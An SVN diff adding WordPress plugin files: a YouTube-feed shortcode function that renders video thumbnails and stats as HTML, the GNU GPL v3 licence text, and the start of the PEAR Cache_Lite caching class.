+    // get video player URL
+    $attrs = $media->group->player->attributes();
+    $watch = $attrs['url']; 
+    
+    // get video thumbnail
+    $attrs = $media->group->thumbnail[0]->attributes();
+    $thumbnail = $attrs['url']; 
+          
+    // get <yt:duration> node for video length
+    $yt = $media->children('http://gdata.youtube.com/schemas/2007');
+    $attrs = $yt->duration->attributes();
+    $length = $attrs['seconds']; 
+    
+    // get <yt:stats> node for viewer statistics
+    $yt = $entry->children('http://gdata.youtube.com/schemas/2007');
+    $attrs = $yt->statistics->attributes();                  
+        
+    //if (!in_array($orderby,array("published","updated"))) $viewCount = $attrs->viewCount;
+    //else $showcount=false;          
+    $viewCount = @$attrs->viewCount;
+    if (!$viewCount) $showcount=false;
+    
+    // get <gd:rating> node for video ratings
+    /*$gd = $entry->children('http://schemas.google.com/g/2005'); 
+    if ($gd->rating) {
+      $attrs = $gd->rating->attributes();
+      $rating = $attrs['average']; 
+    } else {
+      $rating = 0; 
+    }*/ 
+          
+    if ($span==0) $vg.="<tr>";
+    $vg .= '<td style="border:1px dashed gray;"><table>
+    	';
+    	$vg.='<tr><td valign="top" style="padding:3px"><a href="'.$watch.'" target="youtube"><img src="'.$thumbnail.'" /></a></td><td valign="top"><table cellspacing="0" cellpadding="0">';
+      if($showtitle){$vg.='<tr><td><span style="font-size:10px; font-weight:bold;">'.$media->group->title.'</span></td></tr>';}
+    	if($showuser){$vg.='<tr><td><span style="font-size:10px; font-weight:normal;">'.$tm_by_label.'<a href="http://www.youtube.com/user/'.$entry->author->name.'">'.$entry->author->name.'</a></span></td></tr>';}
+      if($showdate){$vg.='<tr><td><span style="font-size:10px;">'.strftime($tm_datetime_filer,strtotime($published)).'</span></td></tr>';}
+      if($showcount){$vg.='<tr><td><span style="font-size:10px;">'.$tm_views_label.$viewCount.'</span></td></tr>';}        	
+    	$vg.='<tr><td><span style="font-size:10px;">'.$tm_duration_label.$length.'s</span></td></tr>';    	
+    	$vg.='</table></td></tr></table>
+    ';
+    if ($span==$spanrow) { $vg.="</td></tr>"; $span=0; }
+    else $span++;
+  } 
+  $vg.="</table>";  
+  return $vg;      
+}
+
+function tubematic_composeurl($feedURL,$limit,$orderby,$lr='') {     
+    /*
+    orderby={updated, viewCount, rating, relevance}: sort the items from feed by upload date, number of views, rating or relevance    
+    */    
+    if (!in_array($orderby,array("updated","rating","relevance","published"))) $orderby="viewCount";
+    $feedURL.="?orderby=$orderby";        
+    /*
+    the maximum number of items from a feed (by default, a feed includes only 25 items)
+    */
+    $feedURL.="&max-results=$limit";
+    /*
+    the lr parameter restricts the search to videos that have a title, description or keywords in a specific language. Valid values for the lr parameter are ISO 639-1 two-letter language codes. You can also use the values zh-Hans for simplified Chinese and zh-Hant for traditional Chinese. 
+    */
+    if (!empty($lr)) $feedURL.="&lr=$lr";
+    return $feedURL;
+}
+
+add_shortcode('tubematic', 'shortcode_tubematic');
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/COPYING
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/COPYING	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/COPYING	(revision 44)
@@ -0,0 +1,674 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.  We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors.  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights.  Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received.  You must make sure that they, too, receive
+or can get the source code.  And you must show them these terms so they
+know their rights.
+
+  Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+  For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software.  For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+  Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so.  This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software.  The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable.  Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products.  If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+  Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary.  To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities.  However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work.  For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+  The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+  The Corresponding Source for a work in source code form is that
+same work.
+
+  2. Basic Permissions.
+
+  All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met.  This License explicitly affirms your unlimited
+permission to run the unmodified Program.  The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work.  This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+  You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force.  You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright.  Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+  Conveying under any other circumstances is permitted solely under
+the conditions stated below.  Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+  No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+  When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+  4. Conveying Verbatim Copies.
+
+  You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+  You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+  5. Conveying Modified Source Versions.
+
+  You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+    a) The work must carry prominent notices stating that you modified
+    it, and giving a relevant date.
+
+    b) The work must carry prominent notices stating that it is
+    released under this License and any conditions added under section
+    7.  This requirement modifies the requirement in section 4 to
+    "keep intact all notices".
+
+    c) You must license the entire work, as a whole, under this
+    License to anyone who comes into possession of a copy.  This
+    License will therefore apply, along with any applicable section 7
+    additional terms, to the whole of the work, and all its parts,
+    regardless of how they are packaged.  This License gives no
+    permission to license the work in any other way, but it does not
+    invalidate such permission if you have separately received it.
+
+    d) If the work has interactive user interfaces, each must display
+    Appropriate Legal Notices; however, if the Program has interactive
+    interfaces that do not display Appropriate Legal Notices, your
+    work need not make them do so.
+
+  A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit.  Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+  6. Conveying Non-Source Forms.
+
+  You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+    a) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by the
+    Corresponding Source fixed on a durable physical medium
+    customarily used for software interchange.
+
+    b) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by a
+    written offer, valid for at least three years and valid for as
+    long as you offer spare parts or customer support for that product
+    model, to give anyone who possesses the object code either (1) a
+    copy of the Corresponding Source for all the software in the
+    product that is covered by this License, on a durable physical
+    medium customarily used for software interchange, for a price no
+    more than your reasonable cost of physically performing this
+    conveying of source, or (2) access to copy the
+    Corresponding Source from a network server at no charge.
+
+    c) Convey individual copies of the object code with a copy of the
+    written offer to provide the Corresponding Source.  This
+    alternative is allowed only occasionally and noncommercially, and
+    only if you received the object code with such an offer, in accord
+    with subsection 6b.
+
+    d) Convey the object code by offering access from a designated
+    place (gratis or for a charge), and offer equivalent access to the
+    Corresponding Source in the same way through the same place at no
+    further charge.  You need not require recipients to copy the
+    Corresponding Source along with the object code.  If the place to
+    copy the object code is a network server, the Corresponding Source
+    may be on a different server (operated by you or a third party)
+    that supports equivalent copying facilities, provided you maintain
+    clear directions next to the object code saying where to find the
+    Corresponding Source.  Regardless of what server hosts the
+    Corresponding Source, you remain obligated to ensure that it is
+    available for as long as needed to satisfy these requirements.
+
+    e) Convey the object code using peer-to-peer transmission, provided
+    you inform other peers where the object code and Corresponding
+    Source of the work are being offered to the general public at no
+    charge under subsection 6d.
+
+  A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+  A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling.  In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage.  For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product.  A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+  "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source.  The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+  If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information.  But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+  The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed.  Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+  Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+  7. Additional Terms.
+
+  "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+  When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it.  (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.)  You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+  Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+    a) Disclaiming warranty or limiting liability differently from the
+    terms of sections 15 and 16 of this License; or
+
+    b) Requiring preservation of specified reasonable legal notices or
+    author attributions in that material or in the Appropriate Legal
+    Notices displayed by works containing it; or
+
+    c) Prohibiting misrepresentation of the origin of that material, or
+    requiring that modified versions of such material be marked in
+    reasonable ways as different from the original version; or
+
+    d) Limiting the use for publicity purposes of names of licensors or
+    authors of the material; or
+
+    e) Declining to grant rights under trademark law for use of some
+    trade names, trademarks, or service marks; or
+
+    f) Requiring indemnification of licensors and authors of that
+    material by anyone who conveys the material (or modified versions of
+    it) with contractual assumptions of liability to the recipient, for
+    any liability that these contractual assumptions directly impose on
+    those licensors and authors.
+
+  All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10.  If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term.  If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+  If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+  Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+  8. Termination.
+
+  You may not propagate or modify a covered work except as expressly
+provided under this License.  Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+  However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+  Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+  Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+  9. Acceptance Not Required for Having Copies.
+
+  You are not required to accept this License in order to receive or
+run a copy of the Program.  Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance.  However,
+nothing other than this License grants you permission to propagate or
+modify any covered work.  These actions infringe copyright if you do
+not accept this License.  Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+  10. Automatic Licensing of Downstream Recipients.
+
+  Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License.  You are not responsible
+for enforcing compliance by third parties with this License.
+
+  An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations.  If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+  You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License.  For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+  11. Patents.
+
+  A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based.  The
+work thus licensed is called the contributor's "contributor version".
+
+  A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version.  For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+  Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+  In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement).  To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+  If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients.  "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+  If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Use with the GNU Affero General Public License.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+    <program>  Copyright (C) <year>  <name of author>
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<http://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<http://www.gnu.org/philosophy/why-not-lgpl.html>.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/Cache/Lite.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/Cache/Lite.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/Cache/Lite.class.php	(revision 44)
@@ -0,0 +1,825 @@
+<?php
+
+/**
+* Fast, light and safe Cache Class
+*
+* Cache_Lite is a fast, light and safe cache system. It's optimized
+* for file containers. It is fast and safe (because it uses file
+* locking and/or anti-corruption tests).
+*
+* There are some examples in the 'docs/examples' file
+* Technical choices are described in the 'docs/technical' file
+*
+* Memory Caching is from an original idea of
+* Mike BENOIT <ipso@snappymail.ca>
+*
+* Nota : A chinese documentation (thanks to RainX <china_1982@163.com>) is
+* available at :
+* http://rainx.phpmore.com/manual/cache_lite.html
+*
+* @package Cache_Lite
+* @category Caching
+* @version $Id: Lite.php,v 1.50 2008/04/13 14:41:23 tacker Exp $
+* @author Fabien MARTY <fab@php.net>
+*/
+
+define('CACHE_LITE_ERROR_RETURN', 1);
+define('CACHE_LITE_ERROR_DIE', 8);
+
+class net_php_pear_Cache_Lite
+{
+
+    // --- Private properties ---
+
+    /**
+    * Directory where to put the cache files
+    * (make sure to add a trailing slash)
+    *
+    * @var string $_cacheDir
+    */
+    var $_cacheDir = '.tubepress_cache/';
+
+    /**
+    * Enable / disable caching
+    *
+    * (can be very usefull for the debug of cached scripts)
+    *
+    * @var boolean $_caching
+    */
+    var $_caching = true;
+
+    /**
+    * Cache lifetime (in seconds)
+    *
+    * If null, the cache is valid forever.
+    *
+    * @var int $_lifeTime
+    */
+    var $_lifeTime = 3600;
+
+    /**
+    * Enable / disable fileLocking
+    *
+    * (can avoid cache corruption under bad circumstances)
+    *
+    * @var boolean $_fileLocking
+    */
+    var $_fileLocking = true;
+
+    /**
+    * Timestamp of the last valid cache
+    *
+    * @var int $_refreshTime
+    */
+    var $_refreshTime;
+
+    /**
+    * File name (with path)
+    *
+    * @var string $_file
+    */
+    var $_file;
+    
+    /**
+    * File name (without path)
+    *
+    * @var string $_fileName
+    */
+    var $_fileName;
+
+    /**
+    * Enable / disable write control (the cache is read just after writing to detect corrupt entries)
+    *
+    * Enable write control will lightly slow the cache writing but not the cache reading
+    * Write control can detect some corrupt cache files but maybe it's not a perfect control
+    *
+    * @var boolean $_writeControl
+    */
+    var $_writeControl = true;
+
+    /**
+    * Enable / disable read control
+    *
+    * If enabled, a control key is embeded in cache file and this key is compared with the one
+    * calculated after the reading.
+    *
+    * @var boolean $_writeControl
+    */
+    var $_readControl = true;
+
+    /**
+    * Type of read control (only if read control is enabled)
+    *
+    * Available values are :
+    * 'md5' for a md5 hash control (best but slowest)
+    * 'crc32' for a crc32 hash control (lightly less safe but faster, better choice)
+    * 'strlen' for a length only test (fastest)
+    *
+    * @var boolean $_readControlType
+    */
+    var $_readControlType = 'crc32';
+
+    /**
+    * Pear error mode (when raiseError is called)
+    *
+    * (see PEAR doc)
+    *
+    * @see setToDebug()
+    * @var int $_pearErrorMode
+    */
+    var $_pearErrorMode = CACHE_LITE_ERROR_RETURN;
+    
+    /**
+    * Current cache id
+    *
+    * @var string $_id
+    */
+    var $_id;
+
+    /**
+    * Current cache group
+    *
+    * @var string $_group
+    */
+    var $_group;
+
+    /**
+    * Enable / Disable "Memory Caching"
+    *
